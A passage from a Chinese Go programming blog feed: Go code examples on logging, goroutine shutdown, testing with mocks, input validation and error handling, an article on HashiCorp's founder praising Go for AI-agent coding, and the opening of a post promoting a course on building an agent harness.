r.RemoteAddr) cacheHits.Inc() start := time.Now() time.Sleep(100 * time.Millisecond) duration := time.Since(start) dbQueryDuration.Observe(duration.Seconds()) logger.Info(\u0026#34;request handled successfully\u0026#34;, \u0026#34;duration_ms\u0026#34;, duration.Milliseconds()) w.WriteHeader(http.StatusOK) } func main() { http.HandleFunc(\u0026#34;/\u0026#34;, handleRequest) http.Handle(\u0026#34;/metrics\u0026#34;, promhttp.Handler()) log.Println(\u0026#34;Server starting on :8080\u0026#34;) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } 有了结构化日志和Metrics的加持，你的系统不再是一个“黑盒”。通过 Grafana 和 VictoriaLogs，你可以清晰地看到它的每一个内部状态，问题定位速度提升 10 倍。\n原则三：永不启动一个你不知道如何停止的 Goroutine 这是 Dave Cheney 反复强调的血泪教训。一个失控的 Goroutine，就是一个内存炸弹。\n反模式：\ngo doSomething()。然后呢？它什么时候结束？如果它卡住了怎么办？\n第一天原则：\n任何一个需要长久运行的 Goroutine，都必须接受一个 context.Context 参数，并在 select 中监听 ctx.Done()。将所有后台 Goroutine 的生命周期，与你的应用程序生命周期绑定。\n【Go 代码实战】\n// https://go.dev/play/p/Fi1JUZfs4E- package main import ( \u0026#34;context\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;os/signal\u0026#34; \u0026#34;syscall\u0026#34; \u0026#34;time\u0026#34; ) func worker(ctx context.Context, id int) { ticker := time.NewTicker(1 * time.Second) defer ticker.Stop() log.Printf(\u0026#34;Worker %d started\u0026#34;, id) for { select { case \u0026lt;-ticker.C: log.Printf(\u0026#34;Worker %d is doing work\u0026#34;, id) case \u0026lt;-ctx.Done(): log.Printf(\u0026#34;Worker %d is shutting down...\u0026#34;, id) return } } } func main() { ctx, cancel := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) defer cancel() go worker(ctx, 1) \u0026lt;-ctx.Done() log.Println(\u0026#34;Main application shutting down.\u0026#34;) time.Sleep(100 * time.Millisecond) } 这样，你的应用就可以实现优雅停机（Graceful Shutdown），在 k8s 环境中滚动更新时，不会丢失任何正在处理的数据。\n原则四：为可测试性而设计，构建你的“数据靶场” 在复杂的业务系统中，最难测试的不是“Happy Path”，而是各种千奇百怪的“Unhappy Paths”。\n第一天原则：\n为你的核心业务逻辑，构建独立的“数据生成器（Data Generators）”和“数据接收器（Sinks）”。在测试中，用内存中的模拟实现（Mocks）替换掉真实的外部依赖，从而能 100% 控制输入和验证输出。\n【Go 代码实战】\n// https://go.dev/play/p/NBsxpVE84Zb package main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;testing\u0026#34; ) type Order struct { ID int } type OrderNotifier interface { Notify(ctx context.Context, order Order) error } type OrderProcessor struct { notifier OrderNotifier } func NewOrderProcessor(notifier OrderNotifier) *OrderProcessor { return \u0026amp;OrderProcessor{notifier: notifier} } func (p *OrderProcessor) Process(ctx context.Context, order Order) error { return p.notifier.Notify(ctx, order) } type MockNotifier struct { mu sync.Mutex Notified []Order ShouldErr bool } func (m *MockNotifier) Notify(ctx context.Context, order Order) error { m.mu.Lock() defer m.mu.Unlock() if m.ShouldErr { return fmt.Errorf(\u0026#34;mock notifier failed\u0026#34;) } m.Notified = append(m.Notified, order) return nil } func TestOrderProcessor_Success(t *testing.T) { mockNotifier := \u0026amp;MockNotifier{} processor := NewOrderProcessor(mockNotifier) order := Order{ID: 1} err := processor.Process(context.Background(), order) if err != nil { t.Errorf(\u0026#34;expected no error, got %v\u0026#34;, err) } if len(mockNotifier.Notified) != 1 || mockNotifier.Notified[0].ID != 1 { t.Errorf(\u0026#34;notifier was not called correctly\u0026#34;) } } 遵守该原则后，你的单元测试将变得极快、极度稳定，并且能够 100% 覆盖所有你能想到的成功和失败分支。\n原则五：防御性编程，构建你的“代码防火墙” 不相信任何外部输入。这是所有安全系统的第一性原理。\n第一天原则：\n在数据的入口处（如 HTTP Handler、gRPC Server），对所有传入的数据进行严格的、显式的校验（Validation）。只有通过了“安检”的干净数据，才能被允许进入系统的核心领域。\n【Go 代码实战(不完全示例)】\npackage main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;net/mail\u0026#34; ) type CreateUserRequest struct { Username string json:\u0026#34;username\u0026#34; Email string json:\u0026#34;email\u0026#34; Age int json:\u0026#34;age\u0026#34; } func (r *CreateUserRequest) Validate() error { if len(r.Username) \u0026lt; 3 || len(r.Username) \u0026gt; 20 { return fmt.Errorf(\u0026#34;username length must be between 3 and 20\u0026#34;) } if _, err := mail.ParseAddress(r.Email); err != nil { return fmt.Errorf(\u0026#34;invalid email format: %w\u0026#34;, err) } if r.Age \u0026lt; 18 { return fmt.Errorf(\u0026#34;user must be at least 18 years old\u0026#34;) } return nil } func HandleCreateUser(w http.ResponseWriter, r *http.Request) { var req CreateUserRequest if err := json.NewDecoder(r.Body).Decode(\u0026amp;req); err != nil { http.Error(w, \u0026#34;Invalid request body\u0026#34;, http.StatusBadRequest) return } if err := req.Validate(); err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } // processValidatedRequest(req) ... w.WriteHeader(http.StatusCreated) } 这种防御可以让你的核心业务逻辑变得极其纯粹和安全，不再需要处理各种脏数据和边界情况。\n注：如果是服务器，外部(甚至是内部其他服务的)请求的速度也可能是一种“安全威胁”。因此无论是通过中间件，还是代码自行实现，限速机制是必不可少的。\n原则六：错误包裹与类型化错误，让错误自己开口说话 一个好的错误信息，应该像一份精准的“尸检报告”，而不是一句无意义的“他死了”。\n第一天原则：\n在错误产生的最底层，用 fmt.Errorf(“…: %w”, err) 详细包裹上下文。对于可预期的业务异常，定义成自定义的“类型化错误（Typed Errors）”，让上层逻辑可以通过 errors.As 进行精准的判断和处理。\n【Go 代码实战(不完全示例)】\npackage main import ( \u0026#34;errors\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;net/http\u0026#34; ) type ErrDuplicateUser struct { Email string } func (e *ErrDuplicateUser) Error() string { return fmt.Sprintf(\u0026#34;user with email %s already exists\u0026#34;, e.Email) } func RegisterUser(email string) error { // 模拟数据库层返回一个已知类型的错误 if email == \u0026#34;test@example.com\u0026#34; { return \u0026amp;ErrDuplicateUser{Email: email} } return fmt.Errorf(\u0026#34;db connection failed: %w\u0026#34;, errors.New(\u0026#34;timeout\u0026#34;)) } func HandleRegister(w http.ResponseWriter, r *http.Request) { err := RegisterUser(\u0026#34;test@example.com\u0026#34;) if err != nil { var dupErr *ErrDuplicateUser if errors.As(err, \u0026amp;dupErr) { http.Error(w, dupErr.Error(), http.StatusConflict) } else { // 对于未知的底层错误，只打日志，不暴露给用户 slog.Error(\u0026#34;failed to register user\u0026#34;, \u0026#34;error\u0026#34;, err) http.Error(w, \u0026#34;Internal server error\u0026#34;, http.StatusInternalServerError) } return } w.WriteHeader(http.StatusCreated) } 这样处理后，你的错误处理逻辑变得极其清晰和健壮，业务异常可以被优雅地反馈给用户。\n原则七：接口定义在消费侧，实现“最小化契约” 这是 Go 语言最精髓、也最反直觉的一条哲学。\n第一天原则：\n永远不要在“定义侧”声明臃肿的接口。而是在“消费侧”，根据你真正需要的功能，定义一个只包含 1-2 个方法的“小接口”。\n【Go 代码实战（不完全示例）】\n// --- cache/cache.go --- package cache type BigCache struct {} func (c *BigCache) Get(key string) (string, error) { /* ... */ } func (c *BigCache) Set(key, val string) error { /* ... */ } // --- user/service.go --- package user import \u0026#34;fmt\u0026#34; // 我们在 user 包里，只定义我们真正需要的小接口 type Getter interface { Get(key string) (string, error) } type UserService struct { cache Getter // 依赖的是小接口，而不是具体的 BigCache } func (s *UserService) GetUserName(id int) (string, error) { return s.cache.Get(fmt.Sprintf(\u0026#34;user:%d\u0026#34;, id)) } 示例代码中，你的 UserService 彻底与 BigCache 的具体实现解耦。在测试时可以极其轻松地传入 Mock 对象。\n小结：架构的本质，是与未来的自己对话 看完上述的七条原则，你是否发现所有这些“第一天原则”都指向了一个共同的核心：可维护性（Maintainability）。\n你在项目第一天偷的每一个懒，都会在未来的某一个深夜，变成一颗狠狠炸伤你或你同事的“技术地雷”。架构的本质，不是选择一个多么牛逼的框架，而是与未来的自己、未来的同事进行一场清晰、友好的对话。\n关掉这篇文章，打开你手头那个最新的项目。看看这 7 条原则，你触犯了哪几条？是时候，给你的代码库做一次“体检”了。\n今日互动探讨：\n在你过去的 Go 项目中，踩过哪些因为早期“野蛮生长”而导致的设计大坑？除了这 7 条，你还有哪些“压箱底”的项目启动最佳实践？\n欢迎在评论区分享你的血泪史与独家心法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/24/go-code-design-day-one-principle-practical-patterns-list/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-code-design-day-one-principle-practical-patterns-list-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/24/go-code-design-day-one-principle-practical-patterns-list\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/24/go-code-design-day-one-principle-practical-patterns-list\"\u003ehttps://tonybai.com/2026/04/24/go-code-design-day-one-principle-practical-patterns-list\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e世界读书日送福利活动火热进行中，\u003ca href=\"https://mp.weixin.qq.com/s/tSboOai1CE9IJBNg7BMPCg\"\u003e点击这里\u003c/a\u003e留言参与，赢取属于你的幸运！\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e每一个 Go 开发者，大概都经历过这样的心路历程：\u003c/p\u003e\n\u003cp\u003e项目启动初期，为了追求“快”，我们怎么方便怎么来。配置到处写，数据库连接随手建，错误日志直接 fmt.Println。我们安慰自己：“先跑起来，以后再重构。”\u003c/p\u003e","title":"Go 代码设计的“第一天原则”：一份能让你少走五年弯路的实战模式清单"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/23/hashicorp-founder-admits-go-is-alive-thanks-to-ai\n大家好，我是Tony Bai。\n今天是世界读书日，在同款公众号文章的文末我将送出两个价值 99 元的《从 0 开始构建 Agent Harness》专栏的免费兑换码，欢迎大家点击这里积极留言参与！\n在技术圈的江湖里，总有那么几位“扫地僧”级别的人物。他们的一言一行，足以引发整个行业的地震。Mitchell Hashimoto，正是其中之一。\n作为 HashiCorp 的创始人，曾连续12年，一手使用Go 缔造了Consul、Nomad、Terraform、Vagrant、Vault 等一系列云原生基础设施与Devops“神器”以及Ghostty Terminal (使用 Zig )的他，被无数开发者奉为“云基础设施时代教父级的人物”。\n但在 Go 社区，Mitchell 的形象却颇具争议。因为他曾在公开场合不止一次地表达过对 Go 语言的失望，甚至抛出过**“Go has no place anymore”（Go 已无立足之地）**这样的“暴论”。\n然而，就在最近，这位曾经的“Go 社区的争议人物”，却在 X 平台上发表了一篇 180 度大转弯的“认错”长推，瞬间引爆了整个技术圈，获得了超过 21 万的阅读量。\n他写道：\n“我又开始写 Go 了……‘等等，我以为你说过 Go 已经没有位置了？’我错了。”\n“我错的原因，主要是因为 AI 智能体（Agent）在 Go 语言上的生产力高得惊人。我不会把其他语言扯进来，因为我不想喂饱那些螃蟹（暗指 Rust 社区）。”\n是什么，让这位顶级大神发生了如此戏剧性的转变？\n今天，我们就来深度扒开 Mitchell 的这篇“忏悔录”，看看在 AI Agent 席卷一切的时代，Go 语言那些曾被我们疯狂吐槽的“缺点”，是如何摇身一变，成为最顶级的“超能力”的。\n惊天反转：“糟糕的人体工程学”，竟是完美的“机器工程学” Mitchell 在推文中，首先就点出了一个极其“讽刺”的现象：\n“这很有趣，因为 Go 的很多 CLI 工具，比如 go doc 和 gopls，它们糟糕的人体工程学（shitty ergonomics）……竟然被 Agent 完美地规避了。不仅如此，讽刺的是，它们对 Agent 来说简直是天赐之物。”\n这句话，堪称整篇推文的点睛之笔。\n如果你是一个有经验的 Go 开发者，你一定吐槽过 go doc 的简陋，或者早期 gopls 的各种不智能。相比于 Rust 的 rust-analyzer 那种极其强大的类型推断和代码补全，Go 的工具链显得既“笨”又“直白”。\n但在 AI Agent 的世界里，这种“笨拙”，恰恰成了最顶级的优点！\nMitchell 指出，他现在根本不需要给 Agent 写任何复杂的 Skill。只需要在 AGENTS.md 里写一句极其简单的指令：“想找 API 或者调用者？去用 gopls。”\nAgent 就能利用 gopls 提供的底层 LSP（语言服务器协议）接口，以极低的 Token 成本，精准地找到接口的实现、方法的定义，以及所有的调用关系。\n另一位开发者在评论中也补充道：\n“我们一直抱怨 Go 的啰嗦（verbosity），结果证明这恰恰是 LLM 最喜欢的。它们能清晰地读懂意图，而且工具链（如 go doc）给了它们足够的上下文，让它们第一次就能写出能跑通的代码。”\n看懂了吗？\n那些曾经被人类程序员嫌弃的“机器友好”的接口，在 AI Agent 这个“硅基程序员”面前，摇身一变成了最高效、最廉价的沟通方式。\n我们过去追求的“CLI 人体工程学”，在 AI 时代，正在被**“Agent 机器工程学”**所降维打击。\n王者归来：当“无聊”成为 AI 的最佳温床 Mitchell 的“认错”，不仅仅是因为工具链的意外适配。更深层次的原因，在于 Go 语言本身的“无聊”哲学。\n在另一场由 OpenAI 创始人引发的“Go vs Rust”论战中，我们已经探讨过这个观点：\nGo 语言极简的语法、强制的 gofmt 格式化、以及“万物皆 for 循环”的单一表达方式，使得所有 Go 代码库看起来都像是一个模子里刻出来的。\n这种极度的“同质化”，对于基于概率预测的 AI Agent 来说，简直就是天堂。\nAI 在生成 Go 代码时，不需要去猜测这个项目是函数式风格还是面向对象风格，不需要去处理复杂的生命周期和所有权问题。它只需要遵循那套刻在骨子里的“Go Way”，就能生成出八九不离十的、能跑通的代码。\n评论区里，HashiCorp 的前同事现身说法：\n“我当年就是看到 HashiCorp 在用 Go 才入坑的。你今天的这篇帖子，完美地解释了为什么我最近又回到了 Go 的怀抱。”\n简单、可预测、没有魔法。 这些在人类极客眼中可能是“缺点”的特质，在 AI Agent 眼里，却成了最宝贵的“确定性”。\n终极答案：Go + Zig，基础设施的“黄金搭档” 当然，Mitchell 也并非无脑吹捧 Go。作为一个顶级的开发者，他清醒地认识到 Go 的边界。\n当他需要编写一个**“可移植的、能轻松嵌入各种生态系统”**的底层库时，他并没有选择 Go，而是选择了 Zig。\n“对我来说，重要的是可移植性。我正在写一个必须能轻松嵌入各种生态系统的通用库。一个独立的、不依赖 libc、没有操作系统原语要求、能说 C ABI、并且只有 100KB 大小的库，是一个很容易推销的方案。”\n在这里，Mitchell 亮出了他的答案：Go + Zig。\nGo：负责上层的、高并发的业务逻辑和网络调度。 Zig：负责底层的、需要极致性能、零依赖、跨平台 C ABI 兼容的核心组件。 CGO：通过 Zig 强大的交叉编译能力，将 Go 与底层 C-ABI 组件的胶水成本降到最低。 这套组合拳，既享受了 Go 无与伦比的开发效率和并发模型，又利用了 Zig 对底层的极致压榨能力，同时还避开了原生 CGO 的种种编译噩梦。\n这或许是比“Go vs Rust”之争，更具前瞻性和实操价值的“版本答案”。\n英雄所见略同：Pandas 之父的“痛苦告别” 如果说 Mitchell Hashimoto 的“回归”还带有一丝 云原生以及DevOps 创始人的恋旧情结，那么另一位顶级大神——Pandas 库的创始人、数据科学界的“教父级”人物 Wes McKinney——的2026表态，则更像是一封写给 Python 的“分手信”，充满了痛苦、不舍，但又极其决绝。\n就在 Mitchell 的推文引发热议的同时，有人在评论区挖出了 Wes McKinney 今年年初的一篇极具前瞻性的博文《从人类工程学到智能体工程学》。\n在这篇文章里，Wes McKinney 抛出了一个极其震撼的开场白：\n“我最近用 Go 写了很多新软件。但问题是，我这辈子其实一行 Go 代码都没写过。这到底是怎么回事？”\n答案，同样是 AI Agent。\n作为一个将毕生心血都奉献给了 Python 数据科学生态的巨匠，Wes McKinney 坦言，当软件的“主要作者”从人类变成 AI 时，我们评判一门编程语言优劣的标准，发生了根本性的改变。\n“人类工程学（Human Ergonomics）的重要性正在急剧下降。Python 对人类来说极其愉快和高效，但当 Agent 替你写所有代码时，这个好处就显得无足轻重了。”\n他用一种近乎“残忍”的视角，剖析了 Python 在 AI Agent 时代的三个致命缺陷：\n缓慢的编译-测试循环：Agent 编译和测试的频率比人类高出一到两个数量级。Python 缓慢的测试启动和依赖安装，对 Agent 来说是一种“惩罚”。 痛苦的软件分发：Agent 需要大量自包含的、无依赖的二进制工具。而 Python 拖着一个沉重的解释器，感觉就像“我们当年拼命想摆脱的 Java 虚拟机（JVM）”。 性能与内存的短板：这些在人类开发时可以容忍的问题，在 Agent 24 小时高强度运行时，会被无限放大。 图 Python Environment https://xkcd.com/1987/ 那么，AI Agent 时代的“赢家”是谁？\nWes McKinney 给出了和 Mitchell Hashimoto 几乎一模一样的答案：Go。当然在数据科学以及人工智能的基础设施层面，Wes McKinney认为 Rust 也将会占据着越来越重要的地位。\n因为它们解决了最关键的三个问题：\n无痛构建静态二进制文件。 极速、确定性的构建过程。 精简的资源占用和出色的运行时性能。 他甚至更进一步指出，由于 Go 拥有比 Rust 快得多的编译时间，在 Agent 高频迭代的场景下，Go 甚至比 Rust 更具优势。\n“我依然深爱着 Python，并为我们建立的生态系统感到自豪。但很明显，鉴于 Agent 循环带来的生产力优势，我和业界的大部分人，将会写越来越少的 Python，转而拥抱 Go 和其他现代编译语言。”\n一个为 Python 奋斗了近 20 年的灵魂人物，最终为了 AI，选择了自己从未写过的 Go。\n这已经不是简单的技术选型，这是一场关于**“工程师生存法则”**的深刻变革。\n英雄惜英雄：一场关于“回归”的集体狂欢 Mitchell 的这篇“认错”长文，像一声号角，引来了无数在 Go 与其他语言之间摇摆的开发者的共鸣。\nBun 的创始人 Jarred Sumner 激动地在评论区留言：“我想看看你到底在搞什么！”（Mitchell 回复：“我早点联系你！”）\n一位前 Vercel 工程师更是直言：“老哥你终于兜了一圈又回来了！”\n当然也有一些开发者表示这也许是Mitchell的“幻觉”或“偏见”，一位开发者(显然不是很熟悉 Mitchell 的开发过往)写道：\n“也许你只是比 Zig 更不习惯 Go，所以你注意到的 Go 的问题更少。而且你已经是 Zig 的专家了，用它提升的空间不大了(想学习一下新的编程语言)。LLM 让你看到在你不懂的领域(指Go)正确率是 100%，但在你懂 60% 的领域(指Zig)，只对了 60%”。\n（Mitchell 则毫不客气地回怼：“我写了 12 年全职的、纯粹的 Go。我的判断力很可靠。”）\n这场大讨论，最终演变成了一场关于“回归 Go”的集体狂欢。\n小结：在 AI 时代，重新审视“简单”的价值 Mitchell Hashimoto 的故事，是 AI 时代软件工程演进的一个完美缩影。\n一个曾经因为 Go 的“不够底层”、“人体工程学差”而选择离开的顶级大神，最终又因为 AI Agent 的出现，重新发现了这门语言在“机器工程学”上的巨大价值。\n这提醒我们所有技术人：对一门语言的评判，永远不能脱离其所处的时代背景和生产力工具。\n在人类手搓代码的时代，我们追求的是表达力的丰富和语法的灵巧。\n而在 AI 自动生成的时代，简单、可预测、无歧义、易于机器理解，反而成了最稀缺的“黄金法则”。\nGo 语言的缔造者们，在十几年前就用近乎偏执的克制，为我们埋下了一颗时间的种子。\n直到今天，在 AI 的催化下，这颗种子，终于长成了参天大树。\n资料链接：\nhttps://x.com/mitchellh/status/2046319366489407803 https://wesmckinney.com/blog/agent-ergonomics/ 今日互动探讨：\n在 AI 编程的浪潮中，你是否也像 Mitchell 一样，重新审视了自己对某门语言的看法？你认为在 AI Agent 眼里，最“友好”和最“劝退”的语言分别是什么？\n欢迎在评论区分享你的观点！\n世界图书日特别福利：一本定义未来的“活书”\n今天（4月23日）就是世界图书日。\n在这个属于知识与智慧的节日里，与其被动地阅读别人写的书，不如我们亲手来“写”一本定义未来的“书”——构建一个属于你自己的 AI Agent Harness。\nMitchell Hashimoto 和 Wes McKinney 的故事告诉我们，AI Agent 正在成为这个时代最强大的生产力杠杆。而驾驭这头巨兽的核心，不在于你会背多少 Prompt，而在于你是否懂得如何为它构建一个坚不可摧的“驾驭系统（Harness）”。\n为了庆祝我的全新极客时间专栏 《从 0 开始构建 Agent Harness》 上线，并感谢大家一直以来的支持，我将拿出 2 个免费的专栏兑换码送给大家！\n参与方式：\n关注本公众号，并在本文的评论区留言，聊一聊：“在 AI Agent 时代，你认为一个程序员最不可被替代的核心技能是什么？为什么？”\n我将在 72 小时后，从所有精选留言中，挑选 2 位最深刻、最走心的思考，每人赠送一份价值 99 元的《从 0 开始构建 Agent Harness》专栏兑换码。\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/23/hashicorp-founder-admits-go-is-alive-thanks-to-ai/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/hashicorp-founder-admits-go-is-alive-thanks-to-ai-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/23/hashicorp-founder-admits-go-is-alive-thanks-to-ai\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/23/hashicorp-founder-admits-go-is-alive-thanks-to-ai\"\u003ehttps://tonybai.com/2026/04/23/hashicorp-founder-admits-go-is-alive-thanks-to-ai\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e今天是世界读书日，在\u003ca href=\"https://mp.weixin.qq.com/s/tSboOai1CE9IJBNg7BMPCg\"\u003e同款公众号文章\u003c/a\u003e的文末我将送出两个价值 99 元的《\u003ca href=\"http://gk.link/a/12IzL\"\u003e从 0 开始构建 Agent Harness\u003c/a\u003e》专栏的免费兑换码，欢迎大家\u003ca href=\"https://mp.weixin.qq.com/s/tSboOai1CE9IJBNg7BMPCg\"\u003e点击这里\u003c/a\u003e积极留言参与！\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在技术圈的江湖里，总有那么几位“扫地僧”级别的人物。他们的一言一行，足以引发整个行业的地震。\u003cstrong\u003eMitchell Hashimoto\u003c/strong\u003e，正是其中之一。\u003c/p\u003e","title":"HashiCorp 创始人亲口“认错”：AI 让我重新爱上了 Go (文末福利)"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/21/why-we-are-building-agent-harness-from-scratch\n大家好，我是Tony Bai。\n今天想和大家分享一个好消息：我筹备已久的极客时间专栏 《从0 开始构建 Agent Harness》 于昨日(2026.4.20)正式上架了。\n在这个各种 AI 应用框架满天飞、“几行 Python 代码就能跑起一个智能体”的时代，很多朋友可能会问：“Tony，大家都在用现成且免费的轮子，你为什么还要花这么大的精力，甚至专门开一个 24 讲的专栏，带着大家用 Go 语言从零去手写一个底层的 Agent Harness 引擎？”\n借着专栏上架的机会，我想和大家聊聊，我是如何看待当前 AI 应用开发的，以及为什么我坚定地认为，现在是时候撕开框架的黑盒，回归底层的 Harness（驾驭工程）了。\n拐点已至：被框架掩盖的“失控” 如果你在一年多前开发过 AI Agent，你大概率深度使用过 LangChain、AutoGen 等框架。在那个大模型（如 GPT-3.5 时代）推理能力还比较薄弱的时期，我们需要框架来帮模型做意图路由、做任务拆解，框架扮演的是一个“事无巨细的微管家”。\n但现在的技术发展，已经到了一个明确的“拐点”。\n随着 Claude Sonnet 4.6/Opus 4.7、GPT-5.4、Gemini 3.1 Pro 等前沿模型的问世，模型原生已经具备了极其恐怖的逻辑规划和工具调用（Function Calling）能力。这时候，如果你尝试把基于传统框架拼接出来的 Agent 投入到真实的生产环境（比如让它去排查线上日志、或者做复杂的代码重构），问题往往接踵而至：\n上下文雪崩：Agent 读取了一个 3000 行的日志文件，框架没有任何底层的内存压缩机制，大模型 API 直接抛出 400 Token limit exceeded，任务当场中断。 陷入死循环：Agent 遇到一个顽固的报错，连续 10 次执行了错误的 bash 命令，毫无察觉地在原地打转，直到把你的账户余额耗尽。 失控的破坏力：你赋予了它执行本地 Shell 的权限，但在某次幻觉中，它试图执行不可逆的删除操作，而底层的框架根本没有提供可靠的挂起拦截机制。 这些令人“绝望”的瞬间让我意识到：单纯靠堆砌 Prompt 或者调用更高层级的应用框架，是永远无法构建出工业级 Agent 的。我们把最核心的控制权统统交给了不可见的黑盒。\n什么是 Harness？为什么要独立研究它？ 在剖析了近期震撼业界的顶级原生智能体（如 Claude Code、开源神作 OpenClaw、以及自带进化能力的 Hermes等）的工作机制后，我看到了一个不可逆转的趋势：\n传统的框架层正在加速坍塌，作为独立工程研究的 Harness（驾驭工程）正在全面崛起。\n什么是 Harness？简单来说，如果把大模型比作 CPU，把上下文（Context Window）比作极其昂贵的内存，那么 Harness 就是为这个 CPU 打造的微型操作系统（OS）。\nHarness 不去干涉大模型的思考，它的核心职责极其底层且硬核：\n如何在濒临 OOM（内存溢出）的边缘，像垃圾回收器一样优雅地进行上下文阶梯压缩？ 如何在 Agent 陷入死循环时，像系统级中断一样注入强提醒，拉回它的注意力？ 如何在它试图执行高危命令前，挂起底层的协程，等待人类在飞书里的审批？ … … 我花这么大的精力带大家手写 Harness，就是因为现在的难点，早就不是“怎么让大模型输出 JSON”，而是“怎么在物理层面驾驭大模型的破坏力与失控”。\nAI 应用的新阶段：Agent 正在成为一类完整的 Application 当我们拥有了一个健壮的 Harness 之后，我们对 AI 应用的认知也会随之重塑。\n以前，AI 只是应用里的一个 Feature（功能），比如挂在网页右下角的一个聊天框。\n但今天，当你把一个配置了特定 System Prompt 和专属 Skills（技能 SOP）的 Harness 引擎，丢进某一个特定的业务目录里运行时，这个 Agent 本身，就成了一个完整的 Application。\n当然，AI 应用的形态是多元的，Agent 并非唯一的范式——AI 作为功能模块嵌入传统产品的场景依然大量存在。\n但对于那些以自主完成复杂任务为核心价值的应用而言，”AI App = AI Agent”这个等式正在越来越多的场景下成立。我们不再是写满是 CRUD 的业务代码，我们是在为不同形态的智能体（如：编码Agent、自动化运维 Agent、自动化 CR 助手等）编写底层”物理定律”。\n极简哲学：为什么手写能带来认知跃迁？ 相较于一两年前的开发模式，今天顶尖的 Agent 项目展现出了一种令人拍案叫绝的“返璞归真”。\n以 OpenClaw 为代表的新一代驾驭工程，抛弃了复杂：\n最简工具法则：不再堆砌几十个专用 API 导致上下文膨胀，只给模型暴露 Read、Write、Edit 和 Bash 等基础原语工具。让大模型用自然语言去驱动底层的操作系统。 状态外部化：彻底抛弃内存里人类不可读的复杂状态机。强制大模型把宏观计划写在 PLAN.md 里，把微观进度写在 TODO.md 里。把每天的记忆变成了普通的文本文件，不仅实现了零成本的断电续传，更让人类可以随时在 IDE 里修改文件，实现最优雅的人机协同（Human-in-the-loop）。 … … 如果你不亲自手写一遍这个引擎，你永远只能在外围惊叹这些设计，而无法将其转化为自己解决复杂业务问题的武器。\n专栏的策划：从骨架到全息监控 为了把这些前沿的理念落地，我没有选择纸上谈兵。我决定带着大家用 Go 语言（云原生时代构建基础设施的最佳语言），手敲一个名为 go-tiny-claw 的工业级引擎。\n我们的旅程不走捷径，专栏规划了极具层次感的 24 讲大纲：\n细心的朋友会发现，除了核心引擎和工具链，我在专栏的后期（模块五），花了不小的篇幅去写 成本追踪（Cost Tracker）、链路回放（Tracing） 和 自动化跑分（Benchmark）。\n之所以加入这些章节，是出于对 